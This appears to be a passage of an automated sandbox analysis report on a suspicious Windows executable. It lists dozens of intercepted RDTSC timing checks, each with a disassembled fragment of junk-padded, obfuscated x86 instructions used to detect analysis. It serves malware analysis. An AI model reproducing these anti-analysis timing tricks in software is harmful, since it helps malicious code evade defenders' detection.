Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3CA458 second address: 3CA45E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3CA45E second address: 3CA484 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ebx 0x00000006 ja 00007F0ACCE7DA26h 0x0000000c jmp 00007F0ACCE7DA39h 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3CA484 second address: 3CA49F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0ACC5107F5h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3CA49F second address: 3CA4A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3CA4A3 second address: 3CA4B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0ACC5107F0h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3CAD3D second address: 3CAD4F instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0ACCE7DA26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnp 00007F0ACCE7DA2Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3CAE82 second address: 3CAE88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3CAE88 second address: 3CAE8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3CAE8F second address: 3CAE97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3CC751 second address: 3CC757 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3CF251 second address: 3CF255 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3CF2B8 second address: 3CF2EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0ACCE7DA33h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jp 00007F0ACCE7DA31h 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jl 00007F0ACCE7DA26h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3CF2EC second address: 3CF2F6 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0ACC5107E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3CF2F6 second address: 3CF349 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jbe 00007F0ACCE7DA26h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov dl, ch 0x0000000f push 00000004h 0x00000011 push 00000000h 0x00000013 push eax 0x00000014 call 00007F0ACCE7DA28h 0x00000019 pop eax 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e add dword ptr [esp+04h], 0000001Ah 0x00000026 inc eax 0x00000027 push eax 0x00000028 ret 0x00000029 pop eax 0x0000002a ret 0x0000002b mov dl, cl 0x0000002d jmp 00007F0ACCE7DA34h 0x00000032 push 5F8BEC3Eh 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3CF349 second address: 3CF350 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3CF350 second address: 3CF357 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3CF5C7 second address: 3CF5D1 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F0ACC5107E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3CF5D1 second address: 3CF5D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3CF5D7 second address: 3CF5E7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3CF5E7 second address: 3CF5EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3CF5EC second address: 3CF648 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F0ACC5107ECh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebx 0x0000000e call 00007F0ACC5107E8h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], ebx 0x00000018 add dword ptr [esp+04h], 00000019h 0x00000020 inc ebx 0x00000021 push ebx 0x00000022 ret 0x00000023 pop ebx 0x00000024 ret 0x00000025 pushad 0x00000026 mov dword ptr [ebp+122D21B1h], esi 0x0000002c popad 0x0000002d push dword ptr [ebp+1244EC07h] 0x00000033 mov dword ptr [ebp+1247A523h], esi 0x00000039 jp 00007F0ACC5107EBh 0x0000003f push 9C38B9F6h 0x00000044 pushad 0x00000045 pushad 0x00000046 pushad 0x00000047 popad 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2EB10C second address: 2EB115 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A70496 second address: 4A704D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0ACC5107F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F0ACC5107EEh 0x00000010 mov edx, dword ptr [ebp+0Ch] 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F0ACC5107ECh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A704D5 second address: 4A70528 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F0ACCE7DA32h 0x00000008 sbb eax, 325AA3D8h 0x0000000e jmp 00007F0ACCE7DA2Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 pushfd 0x00000019 jmp 00007F0ACCE7DA36h 0x0000001e sbb cx, EE38h 0x00000023 jmp 00007F0ACCE7DA2Bh 0x00000028 popfd 0x00000029 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A909E3 second address: 4A90A06 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 7A76h 0x00000007 mov esi, ebx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F0ACC5107F4h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A90A06 second address: 4A90A18 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, bh 0x00000005 push eax 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ebp, esp 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f mov cx, di 0x00000012 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A90A18 second address: 4A90A30 instructions: 0x00000000 rdtsc 0x00000002 mov bh, D0h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F0ACC5107ECh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A90A30 second address: 4A90A3F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0ACCE7DA2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A90A3F second address: 4A90A87 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0ACC5107F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b call 00007F0ACC5107F7h 0x00000010 push esi 0x00000011 pop ebx 0x00000012 pop ecx 0x00000013 mov edi, 59C8A5E8h 0x00000018 popad 0x00000019 xchg eax, ecx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d push ecx 0x0000001e pop edi 0x0000001f pushad 0x00000020 popad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A90A87 second address: 4A90B22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F0ACCE7DA31h 0x00000009 sbb ah, 00000006h 0x0000000c jmp 00007F0ACCE7DA31h 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007F0ACCE7DA30h 0x00000018 and al, FFFFFFA8h 0x0000001b jmp 00007F0ACCE7DA2Bh 0x00000020 popfd 0x00000021 popad 0x00000022 pop edx 0x00000023 pop eax 0x00000024 xchg eax, esi 0x00000025 jmp 00007F0ACCE7DA36h 0x0000002a push eax 0x0000002b pushad 0x0000002c pushfd 0x0000002d jmp 00007F0ACCE7DA31h 0x00000032 sbb esi, 50FB4576h 0x00000038 jmp 00007F0ACCE7DA31h 0x0000003d popfd 0x0000003e movzx eax, bx 0x00000041 popad 0x00000042 xchg eax, esi 0x00000043 pushad 0x00000044 push eax 0x00000045 push edx 0x00000046 movsx ebx, ax 0x00000049 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A90B22 second address: 4A90B82 instructions: 0x00000000 rdtsc 0x00000002 movzx eax, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov di, ACB0h 0x0000000b popad 0x0000000c lea eax, dword ptr [ebp-04h] 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F0ACC5107F5h 0x00000016 sub esi, 5DAE5836h 0x0000001c jmp 00007F0ACC5107F1h 0x00000021 popfd 0x00000022 mov ecx, 46EE5827h 0x00000027 popad 0x00000028 nop 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F0ACC5107F9h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A90B82 second address: 4A90B92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0ACCE7DA2Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A90B92 second address: 4A90B96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A90B96 second address: 4A90BBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F0ACCE7DA38h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A90BBB second address: 4A90BC1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A90BC1 second address: 4A90BD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0ACCE7DA2Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A90BD2 second address: 4A90BFA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 jmp 00007F0ACC5107EDh 0x0000000e push dword ptr [ebp+08h] 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F0ACC5107EDh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A90BFA second address: 4A90C00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A801F1 second address: 4A801F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A801F7 second address: 4A801FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A801FB second address: 4A80217 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F0ACC5107F1h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A80217 second address: 4A8021D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A8021D second address: 4A80221 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A80221 second address: 4A80232 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e movsx ebx, si 0x00000011 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A80232 second address: 4A80299 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov edx, esi 0x00000008 popad 0x00000009 mov ebp, esp 0x0000000b jmp 00007F0ACC5107F4h 0x00000010 sub esp, 2Ch 0x00000013 jmp 00007F0ACC5107F0h 0x00000018 xchg eax, ebx 0x00000019 pushad 0x0000001a push ecx 0x0000001b pushfd 0x0000001c jmp 00007F0ACC5107EDh 0x00000021 sbb si, 7316h 0x00000026 jmp 00007F0ACC5107F1h 0x0000002b popfd 0x0000002c pop esi 0x0000002d mov dh, 98h 0x0000002f popad 0x00000030 push eax 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 pushad 0x00000035 popad 0x00000036 mov ebx, ecx 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A80299 second address: 4A8032F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0ACCE7DA37h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007F0ACCE7DA36h 0x0000000f xchg eax, edi 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F0ACCE7DA2Eh 0x00000017 or cx, 63F8h 0x0000001c jmp 00007F0ACCE7DA2Bh 0x00000021 popfd 0x00000022 pushfd 0x00000023 jmp 00007F0ACCE7DA38h 0x00000028 adc ax, 3E58h 0x0000002d jmp 00007F0ACCE7DA2Bh 0x00000032 popfd 0x00000033 popad 0x00000034 push eax 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007F0ACCE7DA34h 0x0000003c rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A8032F second address: 4A80384 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F0ACC5107ECh 0x00000009 sub ah, FFFFFFE8h 0x0000000c jmp 00007F0ACC5107EBh 0x00000011 popfd 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 xchg eax, edi 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F0ACC5107EBh 0x0000001f sub ax, EF2Eh 0x00000024 jmp 00007F0ACC5107F9h 0x00000029 popfd 0x0000002a movzx eax, di 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A803DE second address: 4A8048B instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F0ACCE7DA38h 0x00000008 and eax, 57A2CC98h 0x0000000e jmp 00007F0ACCE7DA2Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 mov ebx, 00000000h 0x0000001c jmp 00007F0ACCE7DA32h 0x00000021 sub edi, edi 0x00000023 jmp 00007F0ACCE7DA31h 0x00000028 inc ebx 0x00000029 jmp 00007F0ACCE7DA2Eh 0x0000002e test al, al 0x00000030 jmp 00007F0ACCE7DA30h 0x00000035 je 00007F0ACCE7DC92h 0x0000003b jmp 00007F0ACCE7DA30h 0x00000040 lea ecx, dword ptr [ebp-14h] 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007F0ACCE7DA37h 0x0000004a rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A8048B second address: 4A80491 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A804C6 second address: 4A804E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0ACCE7DA39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A804E3 second address: 4A80518 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0ACC5107F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushfd 0x0000000e jmp 00007F0ACC5107EAh 0x00000013 sub si, E538h 0x00000018 jmp 00007F0ACC5107EBh 0x0000001d popfd 0x0000001e rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A80518 second address: 4A8056C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0ACCE7DA38h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a call 00007F0ACCE7DA37h 0x0000000f pop esi 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 jmp 00007F0ACCE7DA36h 0x00000018 nop 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c mov edx, eax 0x0000001e rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A80650 second address: 4A8068B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F0ACC5107EFh 0x0000000a add ah, FFFFFFFEh 0x0000000d jmp 00007F0ACC5107F9h 0x00000012 popfd 0x00000013 popad 0x00000014 cmp dword ptr [ebp-14h], edi 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A8068B second address: 4A8068F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A8068F second address: 4A80695 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A80695 second address: 4A806DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F0ACCE7DA30h 0x00000008 pop eax 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jne 00007F0B3DE9B813h 0x00000014 jmp 00007F0ACCE7DA37h 0x00000019 mov ebx, dword ptr [ebp+08h] 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f jmp 00007F0ACCE7DA2Bh 0x00000024 push eax 0x00000025 pop edx 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A806DF second address: 4A806F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0ACC5107F0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A806F3 second address: 4A80709 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea eax, dword ptr [ebp-2Ch] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov edx, ecx 0x00000010 mov esi, 78C9E3FBh 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A80709 second address: 4A8071A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 37E2h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A8071A second address: 4A8071E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A8071E second address: 4A80724 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A80724 second address: 4A80737 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0ACCE7DA2Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A80737 second address: 4A8075D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0ACC5107F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A8075D second address: 4A80761 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A80761 second address: 4A80767 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A80767 second address: 4A80790 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0ACCE7DA35h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F0ACCE7DA2Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A80790 second address: 4A80805 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop eax 0x00000005 movsx edi, si 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c pushad 0x0000000d jmp 00007F0ACC5107F0h 0x00000012 mov esi, 4331A961h 0x00000017 popad 0x00000018 push eax 0x00000019 pushad 0x0000001a mov edx, 74A524E0h 0x0000001f mov bx, AF0Ch 0x00000023 popad 0x00000024 nop 0x00000025 pushad 0x00000026 pushfd 0x00000027 jmp 00007F0ACC5107F1h 0x0000002c sub eax, 12AF15E6h 0x00000032 jmp 00007F0ACC5107F1h 0x00000037 popfd 0x00000038 pushad 0x00000039 push esi 0x0000003a pop edi 0x0000003b push esi 0x0000003c pop ebx 0x0000003d popad 0x0000003e popad 0x0000003f xchg eax, ebx 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007F0ACC5107EEh 0x00000049 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A80805 second address: 4A80809 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A80809 second address: 4A8080F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A8080F second address: 4A80819 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, 09EA7293h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
